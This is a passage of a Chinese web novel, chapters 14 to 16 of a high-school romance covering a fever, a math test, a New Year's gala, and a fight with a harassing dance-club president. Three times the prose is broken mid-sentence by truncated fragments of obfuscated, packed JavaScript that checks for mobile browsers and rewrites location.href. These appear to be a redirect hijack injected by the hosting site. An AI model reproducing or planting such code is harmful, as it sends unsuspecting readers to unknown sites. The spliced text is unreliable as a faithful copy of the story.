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丁斯时吃过早饭后,翻了下药柜,打算吃点退烧药再睡会儿。结果翻了半天,不是过期的,就是过期的。 他叹气,只好换了身衣服,把自己裹严实了,勾过钥匙塞口袋里。右手小指像是被什么圈住了,他抬起来一看,是一个毛茸茸的兔子戒指,耳朵一蓝一粉。 丁斯时顿了顿,最后还是没摘下来。 他在门玄关处换了鞋,突然听见门外一声重重的跺脚声。丁斯时皱皱眉,手指拨开猫眼盖。 透过猫眼,就见乔岁安拎着个垃圾袋在门口来回踱步,不知道在干嘛。声控灯不一会儿又暗下去了,她又猛一跺脚,走廊重新亮了起来,随后她继续左右踱步。 丁斯时抱胸在玄关处不动,透过猫眼看了她踱步半天。 不知多久,他直起身,一下推开门。 乔岁安立马拎着垃圾袋似是往电梯口走,像是听见他开门,扭过头来。 丁斯时仍旧抱胸,倚着门框,低着眼看她。 四目相对一秒,她又马上收回视线,抬着下巴往电梯口快步走,似是在自言自语:“哦,要下楼倒垃圾。” 他没动,冷眼目送乔岁安一步一步走到电梯门前,按下下行按钮。 电梯很快从一楼升上来,电梯门打开,她磨磨蹭蹭要抬起一只脚要跨进去,忽然听见家门口丁斯时克制不住的两声咳嗽,咳得惊天动地。 乔岁安身形一顿,深呼一口气,又一步一步倒退回来,依旧抬着下巴,没转身看他,语气硬邦邦的:“感冒了?” 丁斯时维持着靠着门框的动作没动,盯着她,嗓子有点哑,语调也冷冷的:“38.6。” “发烧了?你……”乔岁安瞪大了眼睛猛地回头,对上他视线的那一秒,突然想起他俩还在吵架,又重新扭回头。 昨晚他说完那句话后就走了,她仍然茫然地站在原地,委屈又生气,只能干跺脚,发誓这次绝对不会再哄他。 她清了清嗓子,余光斜瞟着他,语气也淡淡的:“吃药没?” 丁斯时言简意赅:“没。” “没吃你那么理直气……”乔岁安又要扭回头,扭到一半停住,硬生生转回来,生硬地憋出一句,“谁管你啊!” 生病的人脾气不好,丁斯时冷笑:“那你走。” 乔岁安梗着脖子不动,下巴抬着,非常孤傲,有点像秋秋。 ……哦,也有可能秋秋那姿势就是学她的。 丁斯时盯了她半晌,道:“你转过来。” 乔岁安踌躇半天,转了四十五度角,拿侧脸对他。 丁斯时:“再转。” 她这才完全转过来,垂着眼睛盯着地,一副誓死不看他的模样。 他叹了一口气,直起身,关了门。 可能是因为生病,可能是因为烧得脑子确实不太清楚,丁斯时突然上前一步,伸手拥住她,下巴抵在她肩头,鼻息浅浅的呼吸打在她脖颈,他发出一声叹息,轻轻的,像在认输。 14. 皇帝的试卷 这是自初三意识到自己的心意之后,他第一次主动抱她,换作完全清醒时压根不会这么做。 乔岁安僵住了,她额头顶着他的肩膀,开始疯狂思考要不要推开他,就像每次她抱他时,他做的那样。 乔岁安视线乱飘了半天,最后定在他垂落的那只手的小指上。 他的手指苍白而指节分明,关节处泛着红,不知道是不是被冷得。指根处圈了枚兔子戒指,耳朵一个蓝一个粉。 “家里的药都过期了。”丁斯时声音还是哑的,语气却轻柔了下来,他抵着她的肩,轻轻开了口,“陪我去买药吗?” 乔岁安静了片刻,直着身子问:“那你为什么生气?” 丁斯时缓慢地呼了口气,道:“你以后会知道的。” 她执拗,推开他:“为什么要等以后呢?有什么问题我们现在解决不好吗?” 生病的人柔弱无力,丁斯时被一推,顺势脊背倒在门上,发出“咚”一声响。 他觉得她好像在逼他表白,但是偏偏她什么都不知道。 偏偏她到现在都不喜欢他。 丁斯时沉默半晌,又用力咳了几声,抬起右手捂住嘴,乔岁安的目光又重新落在了那枚兔子戒指上。 丁斯时闭了闭眼,哑着嗓子:“头疼。” 乔岁安盯了他半晌。 丁斯时脸色并不惨白,相反,很红润,是一种不正常的红润,烧出来的红润。 “算了。”她心一软,什么都不想计较了,扶住他的手臂,“你回家,我给你去买药。” - 药店就在小区门口,乔岁安按百度给的退烧药建议,买了几种,拎着袋子敲响了丁斯时家的门。 开门时,丁斯时已经换回了睡衣,整个人看上去有些无精打采,他侧了侧身让她进来。 “你吃完药睡一会儿吧。”乔岁安换了拖鞋,拉上防盗门,把药品一一摆在桌上。 丁斯时抱胸靠着桌沿看着她从袋子里掏出一盒又一盒药跟搭积木似的摆桌上,头更疼了,忍不住提醒她:“我是发烧,不是快死了,用不着吃那么多药。” “……”乔岁安拢了拢袋子,语气讪讪,“这不是,想帮你多备点药吗?” 他无语,在那堆药里挑了挑,拿了盒布洛芬。 “中午你家冰箱里有什么吃的吗?”乔岁安看着他倒了杯热水,指尖撕开铝箔,将药片倒入掌心之中,仰头含下,“你要没有的话,待会儿来我家吃呗,我爸妈在家烧饭。” 他“嗯”了声,声音闷闷的,带了点鼻音,顿顿,突然想起什么,直起身踩着拖鞋往房间走,“过来。” 乔岁安挠挠头,跟在他身后去了房间,紧接着,他翻了翻书包,“哗啦”一声,抽出了一张试卷。 乔岁安下意识后退了一步,有种不祥的预感。 “我们班的数学作业,我给你多带了一份。”丁斯时见她双手握拳置于身后,凉凉抬起眼扫了她一眼,随后把她的手腕拉过来,一根根掰开她的手指,把着她的两根手指头捏住卷子。 “我定个一个半小时的闹钟,我睡一会儿,你趁这段时间在边上把这张卷子写掉。一个半小时后,我醒来给你批一下。” 乔岁安:“……” 谢谢他在吵架的时候还能记得给她多带一份作业。 他真的,她哭死。 乔岁安挣扎:“那我在你边上写,肯定得开灯啊,你开灯睡觉不难受吗?” 丁斯时睨了她一眼,没说话,在手机上定好了闹钟,随后掀开被子上了床,从枕头边上拿起自己的眼罩,向她360°无死角地展示了一下。 他这才把眼罩戴上,躺下,为自己盖好被子,又抑制不住地咳嗽了两声,才哑着声音开了口:“好好做。” 乔岁安:“……” …… 十分钟过后,乔同学偷偷拉开椅子,凑到床边用气声喊了一声:“丁斯时,你睡着了吗?” 丁公主戴着眼罩,侧躺在床上,毫无反应。 乔岁安露出个狡黠的笑,鬼鬼祟祟伸手摸向床头柜上他的手机。 “你是病人,要多休息你知道吧?一个半小时那能够啊?”她气声发言,打开手机,自信输入密码。 手机一声振动,屏幕上弹出四个字——密码错误。 乔岁安一愣,不由得扭头看了一眼仍在熟睡中的丁斯时。 什么时候改密码了?她怎么不知道? 乔岁安又划了两下手机。没有人脸识别,也没有指纹识别,真不知道他什么时候关掉的。 乔岁安磨了磨牙,撑着脑袋细细思索了下,随后抿着唇小心翼翼按下六个数字。 030402 锁开了。 “切,就这?”她哼了声,扬着眉毛小声嘚瑟,熟练地点开闹钟页面,把响铃时间改到了十一点三刻,狠狠戳了戳他的被子边边,“睡吧你!” 闹钟一改,时间一下子空出来好多,她轻轻把手机放回原位,一边往外走一边揣着自己的手机给余清发消息。 岁岁和碎碎:“王者峡谷你冲不冲?” 云宝:“冲冲,冲,冲冲!” 岁岁和碎碎:“今早的王者,我就是主宰者!” 主宰者乔岁安带着余清大杀四方,一套操作炫到队友欢呼,酷到对面急眼。 对面的小乔在对话框里戳她:“姐姐,可以不杀我吗?我是男孩子哦~(可怜)(可怜)” 这套话术实在过于熟悉,余清看了看id,笑了:“你猜怎么着?这个小乔就是上回问你下把能不能带带他他是女孩子的那位小乔。我怀疑他应该是记得你,并且想赌一把你不记得他。” 乔岁安正要打字,连着麦的余清兴奋地开口阻止:“你等等,这波让我来。” 十几秒过后,云宝:“姐姐,杀他,我也是男孩子哦~(对手指)” 乔岁安笑到打鸣,手上操作倒也没含糊,手起刀落,收割了小乔的人头。 沉默是金。 对面的小乔再没出过自家塔。 余清也杀疯了:“稳了稳了!这把稳了!” 乔岁安操作快到起飞,屏幕上频繁跳出kill的字眼,突然听见耳边一道男声,淡声念着她屏幕上聊天框里的话:“姐姐,杀他,我也是男孩子哦。” 熟悉的嗓音仍带了点哑,轻轻柔柔在耳畔响起,却像是携了秋日的凉意。 他故意把字念得缓慢又柔软,语调却是幽幽的,冰凉一片。 乔岁安身子一僵,瞬间毛骨悚然,耳机那头的余清一声惊恐的“卧槽”:“你那边什么声音?谁在说话?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859102|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 屏幕暗了下来,乔岁安慢吞吞转过头,对上了丁斯时放大的脸。 他还穿着那身睡衣,脖子处空荡,衣领口露出一小截锁骨。 丁斯时一手搭在椅背上,脊背微弯靠近她,皮笑肉不笑:“姐姐,怎么?你试卷写完了?” 余清:“卧槽!你怎么死了?喂喂喂?” 乔岁安倒吸一口气,瞳孔放大版震惊。 她小动作扒拉了一下手机,偷偷垂眼一看,现在是十点半,鬼知道他是怎么醒的。 “早啊!”她努力平静了下,挥了下手,顾左右而言他,“睡得好吗?” 丁斯时伸出原先背在身后的那只手,一张空白的卷子拍在她的眼前,他收了笑,漠着脸挑了下眉梢:“解释一下?” 耳边余清一个劲地喊:“你那边什么情况?你复活了你出来啊姐姐!” 乔岁安现在听不得“姐姐”两个字,“唰”一下把耳机摘了丢口袋,随后为自己辩解:“聪明的人才看得到的解题思路。” 他被活生生气笑了,松开搭着她椅背的手,低着眼凝视着她:“皇帝的试卷是吧?” 乔岁安努力维持着脸上僵硬的笑。 丁斯时紧接着又从口袋里掏出手机,手指在屏幕上点了几下,调到闹钟页面,怼她脸前:“那这个呢?我明明记得自己定的是十点一刻的闹钟。” “那说明你记错了。”乔岁安语气笃定,眼神真诚,“而且你怎么能怀疑我呢?我怎么会知道你手机新改的密码呢?” “那你又是怎么知道我手机密码是新改的呢?”丁斯时冷呵一声,晃了晃手机,“忘了告诉你,这个密码,就是我刚在设闹钟的时候改的。” 他顿顿,对此评价:“不打自招。” 乔岁安:“……” “我错了。”乔岁安终究还是低下了她的头颅,但是贼心依然不死,“等我这局打完我就去写卷子。” 丁斯时盯着她的脸两秒钟,最后叹了一口气。 “行,你打。” 他拉开她边上的椅子坐下,示意她继续,“我看着你打,打完这局,别想偷偷开新局。” “怎么会?我才不是这样的人好吗?”乔岁安小声嘀咕,麻溜地戴上了耳机。 耳机对面的余清一声尖叫,撕心裂肺地喊:“啊!我怎么又死了!乔乔!乔岁安!你去哪了?你回来!” “别慌。”乔岁安看了眼现在的局势,嗯,还有救,“我带你逆风翻盘。” 对面小乔被杀到自闭,见着她掉头就跑。乔岁安在中路收割了一波人头,顺利在鬼门关救下余清,直冲去敌人家的塔。 “So?”余清实在费解,“你前面是在做什么?你是为了炫一波现在的技术,前面故意让对方?” 推塔成功,乔岁安又是本场MVP。 她呼出一口气,闻言悄悄抬起眼睛瞄了一眼丁斯时,对方坐在一边,睡了一觉之后精气神好了一些,食指抵着太阳穴的位置轻轻打着圈,目光却是望向她的。 她没敢开麦,噼里啪啦在微信里打了一串字。 岁岁和碎碎:“前面在跟丁公主解释,为什么在他睡醒前我的数学卷子还没写完(对手指)(对手指)。” 云宝:“……” 云宝:“我余清,在线实名无语。” 15. 元旦晚会 丁斯时的烧下午就退了。 ……然后乔岁安一整个下午时间都被他征用来学习。 经过将近一个学期的魔鬼训练。乔岁安的成绩已经进步了不少,尤其是数学,一班的练习题从几乎一道不会到只有压轴不会。 她撑着脑袋,一手捏着笔杆子,无精打采听他讲着压轴题的思路,丁斯时讲着讲着停住,望了一眼她的侧脸,笔头敲了敲桌面,无奈:“好好听啊大小姐。这个题型还挺重要的,说不准会作为期末考压轴题。” 乔岁安想到什么,忽然提了点精神:“丁斯时,我们打个赌吧!” 他“嗯”了声,尾音上扬,带着疑问:“赌什么?” 她趴在桌子上,眼睛亮晶晶的,盯着他瞧:“听说元旦晚会可以拿手机,如果我考进一班了,你帮我录个舞台的舞蹈直拍,如果我没考进,那我就答应你一个要求。” “我记得,元旦晚会是在期末考之前吧?” 她伸出一只手锤了锤自己胸口:“我对考进一班这件事胸有成竹好吧!” 丁斯时笑了声:“行,给你录。” 顿顿,他又问:“晚会打算跳什么?” 乔岁安道:“《海底》。” 周一,乔岁安就把表演的表格交上去了,又趁着社团活动的时间问舞蹈社社长借了几天的舞蹈房使用权。 其实乔岁安跟社长不太熟。刚开始进舞蹈社的时候,他对她过分热情,明里暗里要了几次她的联系方式,都被丁斯时打断了,后面没两天态度就冷下来了,练舞休息期间,学姐悄悄跟她八卦,说社长有女朋友了。 乔岁安也不太在意他的态度问题,冷下来了反而让她感觉好受点。 “元旦晚会?”学长正划着舞室里的电脑找伴奏,闻言抬了下眼,“巧了,我们社晚会也要出节目,但好像学校规定一个人只参与一个节目。” 乔岁安小声道:“我的表格已经交上去了。” 学长收回视线,语气不咸不淡:“那就算了,那我就不在我们社节目里排你的位置了。” 她点点头,又问:“我们社除了我,还有其他人不参加社团的节目吗?” “还有一个丁斯时。” ……理解理解。依丁公主的脾气,他绝对不会愿意上台留下黑历史。 学长语气多少带了点不屑:“我从头到尾没把他排进考虑范围内。” 乔岁安顿了顿。 丁公主确实跳舞跳得稀巴烂,来社团那几次也都是陪着她的,但可能是他的语气不太令人舒服,乔岁安鼓了鼓嘴,一下子不太高兴。 她忍了又忍,什么也没说,一言不发离开了。 后面几天的午休时间一下子丰富起来,除了背书还要再抽出一段时间去舞蹈房练舞。社长在社团节目中间有段独舞,所以她偶尔会在舞蹈房碰见社长,两个人稍稍点头就算打了个照面,站在镜子前各练各的。 乔岁安在网上订购的裙子也到了。裙子是上下半身分开的套装,上雪纺白色短款上衣,腰侧绑交叉细绳,在背后系上蝴蝶结,半身白纱裙到脚踝。她还买了块白纱当作道具,不用时先系在腕上。整一套下来仙气得很。 怕效果不好,到货之后,乔岁安挑了一天中午换上,跑去舞室打算练一遍。 舞蹈房有点冷,她先开了空调,待房间里暖和起来了才把外头披着的冬季校服外套脱掉。社长正好不在,她就打开电脑放了伴奏。 空灵的琴声响起,她转身面向镜子,一个旋转,抽开手腕上的白纱,同时高抬腿,裙摆在身前划过。白纱脱手,自半空中缓缓飘落,像一缕海上的烟,接着又被揭开。 她全身心投入到舞蹈中,轻盈,融入到音乐的情绪与氛围之中。 舞室的门突然被打开,很大一声“砰”。 乔岁安愣了一下,回头望过去。 社长走进来,目光触及到她时一停,随即笑了下,笑中带了点说不清道不明的意味,她下意识往后退了一步。但他很快便收回了视线,人往舞室后头去了,道:“你继续。” 音乐还在播着,乔岁安点点头就继续跳下去了。 她跳舞一直是怀着十二分的认真,步子一动便能被音乐氛围轻易裹挟。 白纱落地,她也跟着轻轻倒下,连续几个地板动作后,白纱被抛起,她凭借腰力与绝对的柔韧性起身,伸手接了纱,目光重新落回镜子的那一秒对上后面那一双漆黑的眼睛,仍然带着那说不清道不明的意味,目光直直落在她的腰上,像携着恶意的蛇在她身上游走。 她的血液像是被瞬间冻结。 剩余几个动作僵硬无比,乔岁安被盯到熬不下去,潦草收场了舞蹈,匆匆过去关了音乐,向社长点头示意自己练完了,要走了。 她心跳加速,步履飞快往门口走,正要踏出之时,身后人突然开了口。 “学妹。” 她脚步一顿,听见他笑了声,背后那道视线如有实质,她脊背发寒。 “你腰上有颗痣。” 那一瞬间,铺天盖地的慌张涌过来,乔岁安白着张脸,甚至想吐。脚下不过顿那一秒,下一秒就奔了出去,直到去厕所重新换回校服,忐忑的心才稍微缓一些。 她把服装塞进袋子里,抱着衣服从厕所里出来,心不在焉往教室走,倏地额上一痛,撞上了谁。 乔岁安抬头一看,才发现是丁斯时。 他垂眼盯着她,皱了下眉,弯了腰,双手撑了膝平视她:“怎么了?” “丁斯时。”乔岁安突然松了口气,心安下来,伸手抓住他的衣角,声音很小,带了委屈,“我突然不想上晚会表演了。” 他看着她,声音低下来,轻轻的,顺着她糟糕的情绪:“发生什么了?” 乔岁安揪紧了他的衣角:“就是……” “丁斯时!”身后有一班的同学喊,“老班让你去趟办公室,说你奖状发下来了。” 乔岁安一下被打断,顿了两秒,抿了下唇,松开了手。 但丁斯时没动,只偏头冲那个同学说了声“知道了”。 乔岁安道:“你先去办公室吧。” 他仍旧没动,望着她:“你先说,发生什么了?” 她慢慢吞吞,重新拽住了他的衣角。 “我们下学期换社团吧。我不喜欢那个社长,我不想待下去了。” 丁斯时沉默了两秒,看着她的眼睛。 乔岁安脖颈处那根红绳发着烫,对视间,她感觉他好像猜到了什么,但是他什么也没说,只道:“好。” 顿顿,他又问:“舞台还上吗?” 乔岁安深呼了一口气,受他的目光鼓舞,就像吸取到了勇气与力量,冷静了下来。 “去啊。”因为她非常喜欢跳舞,“准备了很久的。” - 十二月的三十号是元旦晚会,育德只上上午半天课,下午就自行规划时间了,各班可以自行组织活动。乔岁安一吃完饭就去舞台那边换衣服化妆彩排。 罗落作为乔岁安的御用化妆师,也跟着去了彩排现场。 舞台正在操演灯光,罗落在后台对着她的脸各种捣鼓。 乔岁安乖乖坐着任由她画,垂着睫毛在手机上啪啪打字。 岁岁和碎碎:“你在干什么呢?” 娇娇丁公主:“班级组织看电影。” 乔岁安一下来了点精神。 岁岁和碎碎:“看什么?” 娇娇丁公主:“《喜羊羊与灰太狼之我爱灰太狼2》。” 岁岁和碎碎:“……” 岁岁和碎碎:“好看吗?” 娇娇丁公主:“你说呢?” 罗落忍不住了:“姐姐,别看了。闭眼,给你画眼影了要。” 乔岁安乖乖关掉了手机,闭上眼睛,继续任由她捣鼓。 罗落一边对着她眼皮子下手,一边怀疑地问:“你跟丁斯时真的没谈还是假的没谈?” “谁乱传的谣言?”乔岁安闭着眼睛,无奈道,“上次在学校超话热门里看到我就想说,太离谱了。” “主要是,你俩相处真的很……你懂我意思吗?”罗落画完眼皮子,开始给她上口红,“上回,又有摄影社的拍到你俩了,超话里又火了。你也真是牛,我要是你,每天看着丁斯时那张脸,我肯定忍不住先下手为强。” 乔岁安刚要张口反驳,罗落一声惊叫:“别动!口红要涂出来了!” “……”乔岁安闭嘴。 观众席上陆陆续续有班级入场,渐渐的坐满了位置。 大屏幕上是一分钟倒计时。 临到10秒时,观众席上开始有人跟着喊:“10!” “9!” 倒计时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859103|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音越来越大,越来越齐,兴奋掺杂激动。 “3!” “2!” “1!” 大家齐声大喊:“0!” 秒针正好指向12这个数字,舞台灯光在这一刻亮起,伴着台上鼓声震天,观众席上一片欢呼。 开场曲是舞狮子与打鼓。台上人统一身着红色新年装,额上系着红飘带,鼓声由缓至快,越来越急促,也越来越热烈,舞台中央的两只舞狮翻滚着各种动作,博得掌声一片响亮。 乔岁安偷偷从后台溜出去,观众席上灯光昏暗,她眯缝着眼睛找了很久,才锁定到丁斯时的位置。 他坐在前面的中间,一个非常好的位置。只可惜前后左右都有人。 乔岁安叹了口气,也就罢了,不挤进去了,抬起手机给他发消息。 岁岁和碎碎:“我的节目排在第四个。” 她抬头,看见丁斯时低头看向了手机,没过几秒钟,手上的手机振动一声。 娇娇丁公主:“知道。” 乔岁安讶然。 岁岁和碎碎:“你怎么知道?” 娇娇丁公主:“……我好歹是学生会的。” 乔岁安:“……” 哦,好吧,差点给忘了。 岁岁和碎碎:“那你别忘记拍我哦!” 丁斯时回了个OK的手势。 他收了手机,台上鼓声热闹,他一边拿起包里的可乐要打开,一边抬眼扫过舞台上的舞狮子。 气体一声“滋”,沾着汽水的泡泡顺着瓶子流了下来。 丁斯时低头。 好在溢出的不多,就是手上沾了点,有些黏糊糊的。 他便起了身,冲身侧人低声道:“麻烦让一下。” 丁斯时出了厅,右拐进了男厕所,打开水龙头洗着手。 里头有几个人,没注意到他,聊着天,发出一阵笑声。 突然有一个人道:“哎。那个乔岁安是你们社的吧?” 丁斯时顿住。 “是啊。”这道声音很耳熟。 “彩排我看了啊,腰真细。有男朋友吗?没的话我就冲了。” 另一个人轻嗤一声,“她啊,性格那么闷,一看就知道不会玩,平时跟她说两句话声音小得跟什么似的,要么就是她那边那个叫什么丁斯时的拦着。” 他话锋又一转:“不过身材是很好,长得也漂亮。上次看见她在舞室排练……啧,你知道吗?她腰上有颗痣,嗯……衣服要再往上一点,就是胸了吧?” 紧接着就是几声不怀好意的哄笑。 丁斯时关上水龙头,甩了两下手,一言不发出了门。 几个男生上完厕所,你推我我推你,相视一笑,懂的都懂。 人到门口,忽然见一个人站在拐弯角,慢条斯理拿着餐巾纸擦着手上的水珠,看见他们出来,抬了下眼皮子,扯着嘴角笑了下,笑不达眼底,语气也是冷冷的:“出来了?” - 乔岁安下了舞台,罗落一下拥上来尖叫:“乔乔!你好美好仙!你太棒了!今夜!我为你的舞姿疯狂!” “做人呢,要矜持。”乔岁安笑着推开她,摊开手掌,“我手机呢?” 罗落连忙双手奉上她的手机。 乔岁安指纹解锁,看见丁斯时刚才给她发了一条消息。 娇娇丁公主:“出来。我在靠近后台的那个门口。” 她按灭了屏幕,蹦跳着往门口去了。 台上主持人字正腔圆念着稿子,她轻轻推开厅门,再轻轻合上。 外头没开空调,她冻得一个激灵。下一秒,一件冬季校服就披在她的肩上,熟悉的洗衣粉香包裹住她。 乔岁安裹紧了,转过身,抬起眼,目光落在他的眼角,蓦地一愣,错愕。 丁斯时垂着眼,灯光落在他脸上,为眼下打下一片阴影。他的左眼角边上有一抹淤青,淡淡的。 “直拍没了。”丁斯时开了口。 他伸出左手,摊开,几颗红色包装的糖果赤然出现在视线里。 他抬了点眼睛看她,嗓音低低的:“但是有糖果。” 乔岁安没接,盯着他的眼角,蹙眉,她想伸手碰碰,最终怕他疼,又给放下了,问:“你眼角怎么了?” 丁斯时不答,手心往前伸了点:“草莓味。” 16. 骗子 乔岁安接过了糖,目光仍落在他的眼角不动,担心地问:“还伤到哪里了吗?” “没,就挨了这一下。”丁斯时摸了摸眼角那块淤青,“问题不大。” 她松了口气,这才问:“怎么搞的啊?” 丁斯时:“我要说摔的,你信吗?” 她把视线从他的眼角移到眼睛上,就在目光触碰的那一瞬间,她脑子里闪过一个可能性,一个听上去荒唐到不像他会做的事,但是她却在那一刻笃定的可能性。 “虽然从小到大没就见过你跟别人打架。” 乔岁安抿了下唇,目光随即落在他的指关节上,泛着红的,却一点不像被冻的,像打架打出来的:“但你最好说实话。” 他叹了口气,把手插在了卫衣口袋里。 “乔岁安。”丁斯时俯下身,喊她名字,她仰起脸,四目相对。 门没关严实,厅立面的音乐声隐隐露了出来,他轻声说,“你别知道原因。” “那你会不会因为这个拿违纪单?”乔岁安突然想到这个可能性,心脏再次被提起来。 丁斯时从小到大都是好学生,老师眼里的宝贝,成绩好长得好,礼貌又乖巧,三好学生拿到手软。校内打架……实在不像他会干的事。从小到大,跟打架沾边的事他就没参与过。 乔岁安想破了脑袋也想不出一个合理的原因。 但是她知道,他从小到大就没拿过违纪单,而且一旦拿了违纪单,他这个学期的三好学生就别想要了。 “拿了也没关系。”丁斯时毫不在意似的,“一年内累积不到三张,会自动取消的。” 她心事重重,皱着眉愁得要死:“那万一老师很生气,给了你处分怎么办?取消不了不说,还会留档案,你说大学招生会看这个吗?” “……乔岁安。”他被气笑了,无语,“你能不能盼着点我好?” 乔岁安双手合十:“那就求无人发现,阿门。” “回去吧。”他隔着校服外套把着她的肩膀,转了个方向,“站外面久了冷。” “啊?”乔岁安疑惑地回头,“我不冷啊。” 丁斯时瞥了一眼披在她肩头那件自己的校服外套:“我冷。” 乔岁安:“……” 她正要把头扭回来,视线尽头拐角处晃过一个人影,眼熟得紧,那人走路还带了点踉跄,她顿住,刚要眯着眼睛仔细看看是谁,丁斯时就拉开了大门,大门遮挡住了她的视线,乔岁安眨眨眼,收回了目光。 前桌在身侧给她留了一个座位,见她朝观众席这边走过来,赶紧挥了挥手示意她过来。 “乔乔。”乔岁安刚坐下,前桌便开始给她小幅度鼓掌,“你刚才真的!绝美!仙女下凡!我给你录了视频,待会儿发你!” 乔岁安被夸得有点不太好意思,摸了摸鼻子,比了个OK的手势。 台上音乐播放着,鼓声热烈,节奏轻快,几个女生站成三角队形跳着kpop,力道舒适,笑容灿烂,点燃了台下的气氛。 前桌兴奋问道:“哎,你们舞蹈社表演的是舞蹈串烧哎!听说你们社长是不是中间还有段独舞啊?社长哎,跳舞是不是跳很好?” 乔岁安皱眉,没说话,现在提到这个人她就有点生理性不适。 “这个是不是你们社长?”前桌扯扯她的衣角,“出来了出来了!” 乔岁安抬起眼。 那位社长穿了身橘色oversize短袖和黑裤,脖子上挂了根银链子,大步从舞台边走过来,向台下抛了个手势,全场欢呼。 下一秒,他一个侧空翻…… 摔在了地上。 前桌:“……” 乔岁安:“……” 全场静默。 好在这位社长很快就站了起来,继续下一个舞蹈动作,灯光配合,舞台气氛重新热了起来。 前桌摸着下巴,边看着舞蹈边叹气,表情失望:“也不是说你们社长舞蹈差吧,就是……怎么感觉他腿折了似的?每个舞蹈动作都站不稳的。” 乔岁安肩上还披着丁斯时那件外套,她捏着衣领,忽然一愣,下意识扭过头。 她一眼捕捉到丁斯时在哪,他正抬着头望着舞台,隔了两秒,有所感应似的,他侧过脸,望向了她所在的方向。 四目相对,可惜灯光太暗,他的轮廓模糊,隐在一片昏暗之中,她分辨不清他的神色。 “他跳舞一直走这个调调吗?”前桌的声音从身侧传来,见她久不回应,戳了下她的胳膊,“乔乔?” 乔岁安睫毛颤了颤,“嗯”了声,收回了视线。 她再次抬眼望向台上,独舞结束,那位社长站在人群中的c位。 “不。”她语气笃定,顿顿,又补充,“他平时比现在跳得更烂。” 前桌摇头晃脑:“虚有其名。” 乔岁安捏紧了肩上那件外套,肯定地点头。 _ 晚会结束已经是晚上六点钟了。 乔岁安把衣服换了回去,背着书包跟丁斯时一起回家。 丁斯时戴了眼镜,昏黄路灯下,镜片反着光,把他的眼睛遮得不甚清楚。 乔岁安一路上不住地往他眼角上看,但镜片把淤青挡得模糊,她怎么也看不清晰。 冷不丁听他来了句:“别看了,再看也看不出花。” 她收回视线,正好路过茶百道,她撇过脸望了眼,清了清嗓:“手冷,想喝热奶茶。” 单是乔岁安下的。 老规矩,他的那杯是全糖,加珍珠。 两个人抱着两杯热奶茶继续往家里走,丁斯时那杯见了底,她还在咬着吸管慢慢吞吞吸。 下班高峰期的马路拥挤又繁忙,车鸣一声比一声响,也有和他们一样穿着校服的学生经过,一样背着书包往家赶。 乔岁安憋了一路,还是没忍住,临到小区门口,问:“你真没伤到其他地方吧?” 丁斯时睨她:“你在质疑我的打架水平?” “主要是你也不会打架吧?”乔岁安小声嘀咕,“你上次打架还是在幼儿园。” 丁斯时提醒:“幼儿园那是你打架,不是我打架。” “明明你也动手了好吗?”她反驳,“而且,要不是我,你可能到现在都不知道挨揍了要还手。” 小时候的奥特曼的化身乔岁安跟丁斯时二对四,那场架他俩输得很惨烈。 丁斯时冷笑:“所以后来我知道了什么叫作要好好锻炼。” 体育成绩惨不忍睹的乔岁安同学闪躲了两下眼神,随后小声道:“所以后来我学会了什么叫作文明做人。” 回想幼儿园那段经历,确实有亿些丢人。 那个时候她对奥特曼的信仰着魔最深,在舍己救人一事上可以短暂地抛弃自己的社恐人设。 尤其救的那位还是她从一出生就认识的丁公主。 丁公主发育得晚,那会儿又瘦又矮,被欺负了还不会还手。最后,是看她过来动手了,才跟着一起反抗。 虽然结果并不好看。架打得不好看,哭的样子也不好看。 好在也并不是只有他俩狼狈,和他俩打架的小朋友们也在一边蹲在地上哭。 乔岁安哭得尤其大声,抱着他,鼻涕眼泪一个劲往他衣服上蹭。 丁斯时也抱着她,泪水在眼眶里打转,他死撑着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不太会打架,也没什么技巧,全靠本能的闪躲和力气,手劲发着狠,凌厉感隔着一段距离从屏幕中透出来,是跟平时截然相反的一种状态。一对二并不容易,压住了其中一个,另一个的拳头又招呼过来,直冲着他的腹部。他闷哼了声,手上却没放松,仍然带着劲道。 并不像他口中的只挨了那一下。 视频不长,一共四分多钟。她心口一直在跳,狂风暴雨势的。她在心里默数着,直到视频结束,手机屏幕黑下来。 一共六拳。 她缓慢地眨了下眼,心想:骗子。 乔岁安“噌”一下从椅子上站起来,往外面走。 乔妈听见动静,从厨房探出头:“饭都没吃呢,这么晚了干嘛去?” 乔岁安换了鞋,道:“给隔壁的骗子买药去。” 罗落落落:“我就说曲思哲怎么今天跳舞跳成那样呢!哇,你知道吗?现在大家都在骂曲思哲跟马谦戈,活该!” 罗落落落:“不过,我看丁斯时身上也挨了好几拳,严不严重啊?” …… 丁斯时拉开门看见她时是愣的,目光下移到她手上拎着的白色袋子上,顿了顿,侧身让她进来。 丁阿姨丁叔叔依然不在家,估计又加班了。 他跟在她的身后,看着她把袋子放在了桌子上:“你知道了?” 